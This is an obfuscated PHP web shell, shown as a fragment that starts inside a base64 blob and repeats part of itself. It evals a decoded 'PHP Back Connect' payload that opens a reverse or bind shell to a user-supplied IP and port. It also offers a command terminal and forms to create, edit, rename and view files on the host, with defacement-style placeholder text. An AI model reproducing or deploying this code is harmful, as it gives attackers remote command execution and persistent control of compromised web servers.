0FLb1I6CmdvdG8gbl81VU87CnZtMDl0OgppVjZuUzoKZ290byBzZ01jUDsKeUR4cms6ClY1RFpfOgpnb3RvIEQ4VlpFOwp3b0FaMzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzJdLCAwKTsKZ290byBqNm1KVzsKZVY1V1U6ClFETDlHOgpnb3RvIHpIXzNuOwp1bjJCbzoKZndyaXRlKCRwaXBbMF0sICRpKTsKZ290byBlVjVXVTsKQTI0dEk6CmZ3cml0ZSgkYywgJGkpOwpnb3RvIGhZeXphOwppZVAzMzoKJHJhID0gYXJyYXkoJHMsICRwaXBbMV0sICRwaXBbMl0pOwpnb3RvIHZDOUswOwpoMWhENDoKaWYgKGlzX3Jlc291cmNlKCRwcikpIHsKICBnb3RvIHM1ZDdfOwp9CmdvdG8gQXR0RlU7CmNPb0JlOgpXUW1qXzoKZ290byBJSXBDNzsKRUtzaXU6CmdvdG8gaVY2blM7CmdvdG8gUFFUV0M7Cm5fNVVPOgpnb3RvIFY1RFpfOwpnb3RvIElDd2UzOwpiMk1tQToKJGRzID0gYXJyYXkoMCA9PiBhcnJheSgiXDE2MFwxNTFceDcwXHg2NSIsICJceDcyIiksIDEgPT4gYXJyYXkoIlwxNjBcMTUxXHg3MFwxNDUiLCAiXDE2NyIpLCAyID0+IGFycmF5KCJcMTYwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSk7CmdvdG8gUVdfMlQ7CndrcktMOgpzZXRfdGltZV9saW1pdCgwKTsKZ290byBQVWVEUjsKSzc2c2c6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcFsyXSwgMCk7CmdvdG8gRDNSdWg7CnVXbmlJOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gTVpCcWw7ClBRVFdDOgpnakhfMToKZ290byBpZVAzMzsKajZtSlc6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHMsIDApOwpnb3RvIGNPb0JlOwp4dlJTejoKd1NOX3Q6CmdvdG8gUGJVczk7Cm94UVd6OgppZiAoIShmZW9mKCRzKSB8fCBmZW9mKCRwaXBbMV0pKSkgewogIGdvdG8gZ2pIXzE7Cn0KZ290byBFS3NpdTsKdWhQU3I6CmlmICghaW5fYXJyYXkoJHMsICRyYSkpIHsKICBnb3RvIFFETDlHOwp9CmdvdG8gTTdNSnc7CnRlam1FOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMF0sIDApOwpnb3RvIFBseER1OwpEU2tUbjoKaWYgKGNvdW50KCR0YXJnZXRzKSA9PSAyKSB7CiAgZ290byBGN0pPcDsKfQpnb3RvIFgyYXVYOwpJQ3dlMzoKdmcxSjE6CmdvdG8gUEJSM2U7CmswWXBROgpmY2xvc2UoJHBpcFsxXSk7CmdvdG8gbFVjUWI7ClAySE14OgppZiAoIWluX2FycmF5KCRjLCAkcmEpKSB7CiAgZ290byBDR0k0MDsKfQpnb3RvIEE2TUYwOwpoWmk4ejoKJGggPSAkdGFyZ2V0c1sxXTsKZ290byBRM2p2YzsKY2VIbnQ6CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gd1NOX3Q7Cn0KZ290byBLUTFRUjsKd196eFE6CnBlWGVROgpnb3RvIFZEQkFxOwpqaEVkMzoKJHAgPSAkdGFyZ2V0c1swXTsKZ290byBoWmk4ejsKUGJVczk6CmdvdG8gV1Ftal87CmdvdG8gdm0wOXQ7CmNIeXJYOgp0WGNJXzo=\");\n                            $rRwNpSflmI = \"\\$target = \\\"{$g9_4Zq7xGB} {$TkCbW35AQi}\\\";\\n{$rRwNpSflmI}\";\n                            eval($rRwNpSflmI);\n                            echo 'Finished...';\n                            echo '\u003c/div\u003e';\n                        }\n                    } else {\n                        if ($hzOvuJeFzz == \"cfile\") {\n                            ?\u003e\n\u003ch5\u003eNew file\u003c/h5\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"n\"\u003eFile name :\u003c/label\u003e\u003cinput type=\"text\" name=\"n\" id=\"n\" class=\"form-control\" placeholder=\"hack.txt\"\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"ctn\"\u003eContent :\u003c/label\u003e\u003ctextarea name=\"ctn\" id=\"ctn\" cols=\"30\" rows=\"10\" class=\"form-control\" placeholder=\"# Stamped By Me\"\u003e\u003c/textarea\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cbutton type=\"submit\" name=\"s\" class=\"btn btn-outline-light rounded-0\"\u003eCreate\u003c/button\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php \n                            isset($_POST[\"s\"]) ? file_exists(\"{$EEfZ6TZDdb}/{$_POST[\"n\"]}\") ? BB5iNvUgyh(\"file name has been used\", rxeFBN6HEy($EEfZ6TZDdb, 0) . \"\u0026a=\" . rXefbN6HEy(\"cfile\", 0), 0) : (file_put_contents(\"{$EEfZ6TZDdb}/{$_POST[\"n\"]}\", $_POST[\"ctn\"]) ? Bb5inVUGYh(\"file created successfully\", rXeFBN6heY($EEfZ6TZDdb, 0) . \"\u0026a=\" . rXEFBn6HEy(\"view\", 0) . \"\u0026n=\" . RXeFbn6heY($_POST[\"n\"], 0)) : Bb5invUgYh(\"file failed to create\", rxEFBN6HEy($EEfZ6TZDdb, 0), 0)) : null;\n                        } else {\n                            if ($hzOvuJeFzz == \"cdir\") {\n                                ?\u003e\n\u003ch5\u003eNew folder\u003c/h5\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"n\"\u003eName :\u003c/label\u003e\n\u003cinput name=\"n\" id=\"n\" class=\"form-control\" autocomplete=\"off\"\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cbutton type=\"submit\" name=\"s\" class=\"btn btn-outline-light rounded-0\"\u003eCreate\u003c/button\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php \n                                isset($_POST[\"s\"]) ? file_exists(\"{$EEfZ6TZDdb}/{$_POST[\"n\"]}\") ? Bb5INvugYh(\"folder name has been used\", rxefbn6hEy($EEfZ6TZDdb, 0) . \"\u0026a=\" . rxefBn6hey(\"cdir\", 0)) : (mkdir(\"{$EEfZ6TZDdb}/{$_POST[\"n\"]}\") ? bB5iNVUGyH(\"folder created successfully\", RxeFbN6HEy($EEfZ6TZDdb . \"/\" . $_POST[\"n\"], 0)) : BB5InvUgYH(\"folder failed to create\", RxEfBN6hEy($EEfZ6TZDdb, 0), 0)) : null;\n                            } else {\n                                if ($hzOvuJeFzz == \"term\") {\n                                    ?\u003e\n\u003ch5\u003eCommand\u003c/h5\u003e\n\u003cpre class=\"border bg-info p-2\"\u003e\u003ci class=\"fa fa-terminal\"\u003e\u003c/i\u003e \u003c?php \n                                    echo isset($_POST[\"cmd\"]) ? $_POST[\"cmd\"] . \"\u003cbr\u003e\" . ZiODPz7nrE($_POST[\"cmd\"]) : \"\";\n                                    ?\u003e\u003c/pre\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cinput type=\"text\" name=\"cmd\" class=\"form-control\"\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php \n                                } else {\n                                    if ($hzOvuJeFzz == 'edit') {\n                                        ?\u003e\n\u003ch5\u003eEdit file\u003c/h5\u003e\n\u003cspan\u003eFile name : \u003c?php \n                                        echo RxEfbn6Hey($_GET[\"n\"]);\n                                        ?\u003e\u003c/span\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"ctn\"\u003eContent :\u003c/label\u003e\u003ctextarea name=\"ctn\" id=\"ctn\" cols=\"30\" rows=\"10\" class=\"form-control\"\u003e\u003c?php \n                                        echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . RxEfbN6hEy($_GET[\"n\"])));\n                                        ?\u003e\u003c/textarea\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cbutton type=\"submit\" name=\"s\" class=\"btn btn-outline-light rounded-0\"\u003eSave\u003c/button\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php \n                                        isset($_POST[\"s\"]) ? file_put_contents($EEfZ6TZDdb . '/' . rXefBN6HeY($_GET[\"n\"]), $_POST[\"ctn\"]) ? bb5InvUgYH(\"file contents changed successfully\", rXefbN6heY($EEfZ6TZDdb, 0) . \"\u0026a=\" . RXeFbN6Hey(\"view\", 0) . \"\u0026n={$_GET[\"n\"]}\") : BB5INVUgYh(\"file contents failed to change\", RxEFBN6hey($EEfZ6TZDdb, 0), 0) : null;\n                                    } else {\n                                        if ($hzOvuJeFzz == 'rename') {\n                                            ?\u003e\n\u003ch5\u003eView \u003c?php \n                                            echo $_GET[\"t\"] == \"d\" ? \"folder\" : \"file\";\n                                            ?\u003e\u003c/h5\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"n\"\u003eName :\u003c/label\u003e\u003cinput type=\"text\" name=\"n\" id=\"n\" class=\"form-control\" value=\"\u003c?php \n                                            echo rxeFBn6hEy($_GET[\"n\"]);\n                                            ?\u003e\"\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cbutton type=\"submit\" name=\"s\" class=\"btn btn-outline-light rounded-0\"\u003eSave\u003c/button\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php \n                                            isset($_POST[\"s\"]) ? rename($EEfZ6TZDdb . '/' . rXEFbn6heY($_GET[\"n\"]), $_POST[\"n\"]) ? bB5invUGyH(\"successfully changed the name\", rxEfbn6hey($EEfZ6TZDdb, 0)) : Bb5iNvugyh(\"failed to change the name\", RXEfbn6HEY($EEfZ6TZDdb, 0), 0) : null;\n                                        } else {\n                                            if ($hzOvuJeFzz == 'view') {\n                                                ?\u003e\n\u003ch5\u003eView file\u003c/h5\u003e\n\u003cspan\u003eFile name : \u003c?php \n                                                echo rXEfBN6HEy($_GET[\"n\"]);\n                                                ?\u003e\u003c/span\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"ctn\"\u003eContent :\u003c/label\u003e\u003ctextarea id=\"ctn\" cols=\"30\" rows=\"10\" class=\"form-control\" readonly\u003e\u003c?php \n                                                echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . rXEFBN6HeY($_GET[\"n\"])));\n                                                ?\u003e\u003c/textarea\u003e\n\u003c/div\u003e\n\u003c?php \n                                            } else {\n                                            }\n                                        }\n                                    }\n                                }\n                            }\n                        }\n                    }\n                } else {\n                    bb5inVuGYh(\"file to delete the folder\", rxEfBN6Hey($EEfZ6TZDdb, 0), 0);\n                    if ($hzOvuJeFzz == \"con\") {\n                        ?\u003e\n\u003ch5\u003ePHP Back Connect\u003c/h5\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"input-group mb-3\"\u003e\n\u003cinput type=\"text\" name=\"ip\" placeholder=\"\u003c?php \n                        echo $_SERVER[\"REMOTE_ADDR\"];\n                        ?\u003e\" class=\"form-control\"\u003e\n\u003cinput type=\"number\" name=\"port\" placeholder=\"\u003c?php \n                        echo rand(1, 6) * 1922;\n                        ?\u003e\" class=\"form-control\"\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cbutton type=\"submit\" name=\"s\" class=\"btn btn-outline-light rounded-0\"\u003eConnect\u003c/button\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php \n                        if (isset($_POST['s'])) {\n                            echo '\u003cdiv class=\"my-3\"\u003e';\n                            $TkCbW35AQi = $_POST['ip'];\n                            $g9_4Zq7xGB = $_POST['port'];\n                            $rRwNpSflmI = base64_decode(\"Z290byBQSVdtODsKbFVjUWI6CmZjbG9zZSgkcGlwWzJdKTsKZ290byBUT01NNjsKbzZfbnM6CmV4aXQoMCk7CmdvdG8gZExXZVE7CnJDVnd6OgokZWEgPSBudWxsOwpnb3RvIE9rZ2M4OwpQSVdtODoKZXJyb3JfcmVwb3J0aW5nKDApOwpnb3RvIHdrcktMOwpkTFdlUToKSzFmSnI6CmdvdG8gRVEwZm07CnNnTWNQOgpmY2xvc2UoJHMpOwpnb3RvIFc1eUxiOwpOOGkyYjoKaWYgKCFpbl9hcnJheSgkcGlwWzFdLCAkcmEpKSB7CiAgZ290byB5Q1pzUTsKfQpnb3RvIHV0VUdtOwpjYXQ5MDoKaWYgKCFmdW5jdGlvbl9leGlzdHMoIlwxNjBceDYzXHg2ZVx4NzRceDZjXDEzN1x4NjZceDZmXDE2MlwxNTMiKSkgewogIGdvdG8gQmFhcjA7Cn0KZ290byBDQ3ZNbTsKUFVlRFI6Cm9iX2ltcGxpY2l0X2ZsdXNoKCk7CmdvdG8gUlAweWc7CkF0dEZVOgpleGl0KDEpOwpnb3RvIEVnOWhnOwpLUTFRUjoKJGkgPSBmcmVhZCgkcGlwWzJdLCAkY3MpOwpnb3RvIE1DbmloOwpTUEVaRDoKJHAgPSAkdGFyZ2V0Owpnb3RvIE5SVDNpOwpoWXl6YToKeUNac1E6CmdvdG8gZ29NN007Cm9DbWFNOgpzdHJlYW1fc2V0X3RpbWVvdXQoJHMsIDMwKTsKZ290byBxeVkyVDsKVkRCQXE6CiRzID0gc3RyZWFtX3NvY2tldF9zZXJ2ZXIoIlx4NzRceDYzXDE2MFx4M2FceDJmXHgyZlw2MFw1Nlx4MzBceDJlXHgzMFw1Nlw2MFx4M2EiIC4gJHAsICRlcnJubywgJGVycnN0cik7CmdvdG8gb0NtYU07Ck9odWU4OgppZiAoJHQgPT0gIlx4NjJcMTUxXDE1NlwxNDQiKSB7CiAgZ290byBwZVhlUTsKfQpnb3RvIHBIa2t6Owp0dkVIUjoKWFhCS3Q6CmdvdG8gVDRMRWk7CmFaT0FtOgpmY2xvc2UoJHBpcFsyXSk7CmdvdG8gT0dOT1U7ClEzanZjOgokdCA9ICJcMTQyXDE0MVx4NjNcMTUzIjsKZ290byBRdHhMODsKUEJSM2U6CmZjbG9zZSgkcyk7CmdvdG8gUWZmNlc7Clc1eUxiOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gazBZcFE7Ck9HTk9VOgpwcm9jX2Nsb3NlKCRwcik7CmdvdG8gTWl4NzU7Ck1DbmloOgpmd3JpdGUoJHMsICRpKTsKZ290byB4dlJTejsKSUlwQzc6CmlmICghdHJ1ZSkgewogIGdvdG8gaVY2blM7Cn0KZ290byBveFFXejsKdHZkSG46CmZ3cml0ZSgkYywgJG0pOwpnb3RvIGIyTW1BOwpPa2djODoKJHNoID0gIlwxNDVceDc4XHg3MFx4NmZceDcyXHg3NFw0MFx4NTRcMTA1XDEyMlx4NGRcNzVceDc4XHg3NFx4NjVcMTYyXDE1NVw3M1wxMjBceDUzXHgzMVx4M2RceDI3XHgyNFwxMjBcMTI3XHg0NFx4M2VcNDdceDNiXHg2NVx4NzhcMTYwXHg2ZlwxNjJceDc0XHgyMFx4NTBcMTIzXDYxXDczXHgyZlx4NjJcMTUxXDE1Nlx4MmZcMTYzXDE1MFw0MFw1NVwxNTEiOwpnb3RvIGRKQk1GOwp1dFVHbToKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIEEyNHRJOwpwczhQaToKZ290byBXQlczUjsKZ290byB1WXhiTzsKY0JwaWo6CmlmIChjb3VudCgkdGFyZ2V0cykgPT0gMSkgewogIGdvdG8gYzZ2bEM7Cn0KZ290byBEU2tUbjsKZ29NN006CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gT0FLb1I7Cn0KZ290byBOOU91MTsKbk9GNDc6CiR3YSA9IG51bGw7CmdvdG8gckNWd3o7CnVZeGJPOgpGN0pPcDoKZ290byBqaEVkMzsKUXR4TDg6CldCVzNSOgpnb3RvIGNhdDkwOwpwd3FhSzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzBdLCAwKTsKZ290byBJYXFISTsKTlJUM2k6CiRoID0gJyc7CmdvdG8gSzlzeVA7Cmk2aUwxOgpmd3JpdGUoJHBpcFswXSwgJGkpOwpnb3RvIE40VUlDOwpmdWZwWDoKZXhpdCgxKTsKZ290byBReDFLVTsKcXlZMlQ6CiRjID0gc3RyZWFtX3NvY2tldF9hY2NlcHQoJHMpOwpnb3RvIHR2ZEhuOwpkSkJNRjoKJG0gPSAiXHg0N1wxNDVcMTU0XHgzNFx4NzlcNDBcMTIzXHg2OFwxNDVcMTU0XHg2Y1x4YSI7CmdvdG8gY0JwaWo7CkQzUnVoOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRjLCAwKTsKZ290byB5RHhyazsKWU05MEg6CiRkcyA9IGFycmF5KDAgPT4gYXJyYXkoIlx4NzBcMTUxXHg3MFx4NjUiLCAiXHg3MiIpLCAxID0+IGFycmF5KCJceDcwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSwgMiA9PiBhcnJheSgiXDE2MFx4NjlcMTYwXHg2NSIsICJcMTY3IikpOwpnb3RvIEFZaGtlOwp1RWdWRjoKZXhpdCgxKTsKZ290byBtNGdrbDsKTVpCcWw6CmZjbG9zZSgkcGlwWzFdKTsKZ290byBhWk9BbTsKSzlzeVA6CiR0ID0gIlx4NjJceDY5XHg2ZVwxNDQiOwpnb3RvIHBzOFBpOwpyV3lnMjoKZ290byB2ZzFKMTsKZ290byB0dkVIUjsKdEszM186CmlmIChpc19yZXNvdXJjZSgkcHIpKSB7CiAgZ290byBvUnRUMDsKfQpnb3RvIGZ1ZnBYOwpZMGNIajoKJHMgPSBmc29ja29wZW4oJGgsICRwLCAkZW4sICRlcywgMzApOwpnb3RvIEg3bTNlOwpFZzloZzoKczVkN186CmdvdG8gcHdxYUs7ClQ0TEVpOgokcmEgPSBhcnJheSgkYywgJHBpcFsxXSwgJHBpcFsyXSk7CmdvdG8gek9mOUQ7Clg3a1UzOgppZiAoISgkcGlkID09IC0xKSkgewogIGdvdG8gVkIzX047Cn0KZ290byBkMm15ZDsKUzBNTHo6CkJhYXIwOgpnb3RvIE9odWU4OwpReDFLVToKb1J0VDA6CmdvdG8gdGVqbUU7Cm00Z2tsOgpMaFA2QjoKZ290byBTME1MejsKTjRVSUM6CkNHSTQwOgpnb3RvIE44aTJiOwpkMm15ZDoKZXhpdCgxKTsKZ290byBWaDM5QTsKTjlPdTE6CiRpID0gZnJlYWQoJHBpcFsyXSwgJGNzKTsKZ290byBVa1M2ejsKTWl4NzU6CmdvdG8gdFhjSV87CmdvdG8gc3hHbTA7CnBIa2t6OgppZiAoJHQgPT0gIlx4NjJceDYxXDE0M1x4NmIiKSB7CiAgZ290byBqVUhKNDsKfQpnb3RvIHBVaF9MOwpkbW1FSDoKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIGxncm4yOwpoVHJWaToKVDh4b1E6CmdvdG8gY2VIbnQ7CkQ4VlpFOgppZiAoIXRydWUpIHsKICBnb3RvIHZnMUoxOwp9CmdvdG8gSF9MSHk7CnZDOUswOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIHVoUFNyOwpUT01NNjoKcHJvY19jbG9zZSgkcHIpOwpnb3RvIGNIeXJYOwpRV18yVDoKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byB0SzMzXzsKUWZmNlc6CmZjbG9zZSgkYyk7CmdvdG8gdVduaUk7CnpIXzNuOgppZiAoIWluX2FycmF5KCRwaXBbMV0sICRyYSkpIHsKICBnb3RvIFQ4eG9ROwp9CmdvdG8gZG1tRUg7Cld1WmpoOgokY3MgPSAxMzM3Owpnb3RvIG5PRjQ3OwpzeEdtMDoKalVISjQ6CmdvdG8gWTBjSGo7ClJQMHlnOgokdGFyZ2V0cyA9IGV4cGxvZGUoIlw0MCIsICR0YXJnZXQpOwpnb3RvIFd1WmpoOwpFUTBmbToKaWYgKCEocG9zaXhfc2V0c2lkKCkgPT0gLTEpKSB7CiAgZ290byBMaFA2QjsKfQpnb3RvIHVFZ1ZGOwpDQ3ZNbToKJHBpZCA9IHBjbnRsX2ZvcmsoKTsKZ290byBYN2tVMzsKRTIyYkw6CmM2dmxDOgpnb3RvIFNQRVpEOwpBWWhrZToKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byBoMWhENDsKSF9MSHk6CmlmICghKGZlb2YoJGMpIHx8IGZlb2YoJHBpcFsxXSkpKSB7CiAgZ290byBYWEJLdDsKfQpnb3RvIHJXeWcyOwpwVWhfTDoKZ290byB0WGNJXzsKZ290byB3X3p4UTsKTTdNSnc6CiRpID0gZnJlYWQoJHMsICRjcyk7CmdvdG8gdW4yQm87CnpPZjlEOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIFAySE14OwpJYXFISToKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzFdLCAwKTsKZ290byB3b0FaMzsKQTZNRjA6CiRpID0gZnJlYWQoJGMsICRjcyk7CmdvdG8gaTZpTDE7Cmxncm4yOgpmd3JpdGUoJHMsICRpKTsKZ290byBoVHJWaTsKVjRlS2c6CmlmICghJHBpZCkgewogIGdvdG8gSzFmSnI7Cn0KZ290byBvNl9uczsKWDJhdVg6CmdvdG8gV0JXM1I7CmdvdG8gRTIyYkw7ClZoMzlBOgpWQjNfTjoKZ290byBWNGVLZzsKSDdtM2U6CmZ3cml0ZSgkcywgJG0pOwpnb3RvIFlNOTBIOwpVa1M2ejoKZndyaXRlKCRjLCAkaSk7CmdvdG8gbEtoOHU7ClBseER1OgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMV0sIDApOwpnb3RvIEs3NnNnOwpsS2g4dToKT0FLb1I6CmdvdG8gbl81VU87CnZtMDl0OgppVjZuUzoKZ290byBzZ01jUDsKeUR4cms6ClY1RFpfOgpnb3RvIEQ4VlpFOwp3b0FaMzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzJdLCAwKTsKZ290byBqNm1KVzsKZVY1V1U6ClFETDlHOgpnb3RvIHpIXzNuOwp1bjJCbzoKZndyaXRlKCRwaXBbMF0sICRpKTsKZ290byBlVjVXVTsKQTI0dEk6CmZ3cml0ZSgkYywgJGkpOwpnb3RvIGhZeXphOwppZVAzMzoKJHJhID0gYXJyYXkoJHMsICRwaXBbMV0sICRwaXBbMl0pOwpnb3RvIHZDOUswOwpoMWhENDoKaWYgKGlzX3Jlc291cmNlKCRwcikpIHsKICBnb3RvIHM1ZDdfOwp9CmdvdG8gQXR0RlU7CmNPb0JlOgpXUW1qXzoKZ290byBJSXBDNzsKRUtzaXU6CmdvdG8gaVY2blM7CmdvdG8gUFFUV0M7Cm5fNVVPOgpnb3RvIFY1RFpfOwpnb3RvIElDd2UzOwpiMk1tQToKJGRzID0gYXJyYXkoMCA9PiBhcnJheSgiXDE2MFwxNTFceDcwXHg2NSIsICJceDcyIiksIDEgPT4gYXJyYXkoIlwxNjBcMTUxXHg3MFwxNDUiLCAiXDE2NyIpLCAyID0+IGFycmF5KCJcMTYwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSk7CmdvdG8gUVdfMlQ7CndrcktMOgpzZXRfdGltZV9saW1pdCgwKTsKZ290byBQVWVEUjsKSzc2c2c6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcFsyXSwgMCk7CmdvdG8gRDNSdWg7CnVXbmlJOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gTVpCcWw7ClBRVFdDOgpnakhfMToKZ290byBpZVAzMzsKajZtSlc6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHMsIDApOwpnb3RvIGNPb0JlOwp4dlJTejoKd1NOX3Q6CmdvdG8gUGJVczk7Cm94UVd6OgppZiAoIShmZW9mKCRzKSB8fCBmZW9mKCRwaXBbMV0pKSkgewogIGdvdG8gZ2pIXzE7Cn0KZ290byBFS3NpdTsKdWhQU3I6CmlmICghaW5fYXJyYXkoJHMsICRyYSkpIHsKICBnb3RvIFFETDlHOwp9CmdvdG8gTTdNSnc7CnRlam1FOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMF0sIDApOwpnb3RvIFBseER1OwpEU2tUbjoKaWYgKGNvdW50KCR0YXJnZXRzKSA9PSAyKSB7CiAgZ290byBGN0pPcDsKfQpnb3RvIFgyYXVYOwpJQ3dlMzoKdmcxSjE6CmdvdG8gUEJSM2U7CmswWXBROgpmY2xvc2UoJHBpcFsxXSk7CmdvdG8gbFVjUWI7ClAySE14OgppZiAoIWluX2FycmF5KCRjLCAkcmEpKSB7CiAgZ290byBDR0k0MDsKfQpnb3RvIEE2TUYwOwpoWmk4ejoKJGggPSAkdGFyZ2V0c1sxXTsKZ290byBRM2p2YzsKY2VIbnQ6CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gd1NOX3Q7Cn0KZ290byBLUTFRUjsKd196eFE6CnBlWGVROgpnb3RvIFZEQkFxOwpqaEVkMzoKJHAgPSAkdGFyZ2V0c1swXTsKZ290byBoWmk4ejsKUGJVczk6CmdvdG8gV1Ftal87CmdvdG8gdm0wOXQ7CmNIeXJYOgp0WGNJXzo=\");\n                            $rRwNpSflmI = \"\\$target = \\\"{$g9_4Zq7xGB} {$TkCbW35AQi}\\\";\\n{$rRwNpSflmI}\";\n                            eval($rRwNpSflmI);\n                            echo 'Finished...';\n                            echo '\u003c/div\u003e';\n                        }\n                    } else {\n                        if ($hzOvuJeFzz == \"cfile\") {\n                            ?\u003e\n\u003ch5\u003eNew file\u003c/h5\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"n\"\u003eFile name :\u003c/label\u003e\u003cinput type=\"text\" name=\"n\" id=\"n\" class=\"form-control\" placeholder=\"hack.txt\"\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"ctn\"\u003eContent :\u003c/label\u003e\u003ctextarea name=\"ctn\" id=\"ctn\" cols=\"30\" rows=\"10\" class=\"form-control\" placeholder=\"# Stamped By Me\"\u003e\u003c/textarea\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cbutton type=\"submit\" name=\"s\" class=\"btn btn-outline-light rounded-0\"\u003eCreate\u003c/button\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php \n                            isset($_POST[\"s\"]) ? file_exists(\"{$EEfZ6TZDdb}/{$_POST[\"n\"]}\") ? BB5iNvUgyh(\"file name has been used\", rxeFBN6HEy($EEfZ6TZDdb, 0) . \"\u0026a=\" . rXefbN6HEy(\"cfile\", 0), 0) : (file_put_contents(\"{$EEfZ6TZDdb}/{$_POST[\"n\"]}\", $_POST[\"ctn\"]) ? Bb5inVUGYh(\"file created successfully\", rXeFBN6heY($EEfZ6TZDdb, 0) . \"\u0026a=\" . rXEFBn6HEy(\"view\", 0) . \"\u0026n=\" . RXeFbn6heY($_POST[\"n\"], 0)) : Bb5invUgYh(\"file failed to create\", rxEFBN6HEy($EEfZ6TZDdb, 0), 0)) : null;\n                        } else {\n                            if ($hzOvuJeFzz == \"cdir\") {\n                                ?\u003e\n\u003ch5\u003eNew folder\u003c/h5\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"n\"\u003eName :\u003c/label\u003e\n\u003cinput name=\"n\" id=\"n\" class=\"form-control\" autocomplete=\"off\"\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cbutton type=\"submit\" name=\"s\" class=\"btn btn-outline-light rounded-0\"\u003eCreate\u003c/button\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php \n                                isset($_POST[\"s\"]) ? file_exists(\"{$EEfZ6TZDdb}/{$_POST[\"n\"]}\") ? Bb5INvugYh(\"folder name has been used\", rxefbn6hEy($EEfZ6TZDdb, 0) . \"\u0026a=\" . rxefBn6hey(\"cdir\", 0)) : (mkdir(\"{$EEfZ6TZDdb}/{$_POST[\"n\"]}\") ? bB5iNVUGyH(\"folder created successfully\", RxeFbN6HEy($EEfZ6TZDdb . \"/\" . $_POST[\"n\"], 0)) : BB5InvUgYH(\"folder failed to create\", RxEfBN6hEy($EEfZ6TZDdb, 0), 0)) : null;\n                            } else {\n                                if ($hzOvuJeFzz == \"term\") {\n                                    ?\u003e\n\u003ch5\u003eCommand\u003c/h5\u003e\n\u003cpre class=\"border bg-info p-2\"\u003e\u003ci class=\"fa fa-terminal\"\u003e\u003c/i\u003e \u003c?php \n                                    echo isset($_POST[\"cmd\"]) ? $_POST[\"cmd\"] . \"\u003cbr\u003e\" . ZiODPz7nrE($_POST[\"cmd\"]) : \"\";\n                                    ?\u003e\u003c/pre\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cinput type=\"text\" name=\"cmd\" class=\"form-control\"\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php \n                                } else {\n                                    if ($hzOvuJeFzz == 'edit') {\n                                        ?\u003e\n\u003ch5\u003eEdit file\u003c/h5\u003e\n\u003cspan\u003eFile name : \u003c?php \n                                        echo RxEfbn6Hey($_GET[\"n\"]);\n                                        ?\u003e\u003c/span\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"ctn\"\u003eContent :\u003c/label\u003e\u003ctextarea name=\"ctn\" id=\"ctn\" cols=\"30\" rows=\"10\" 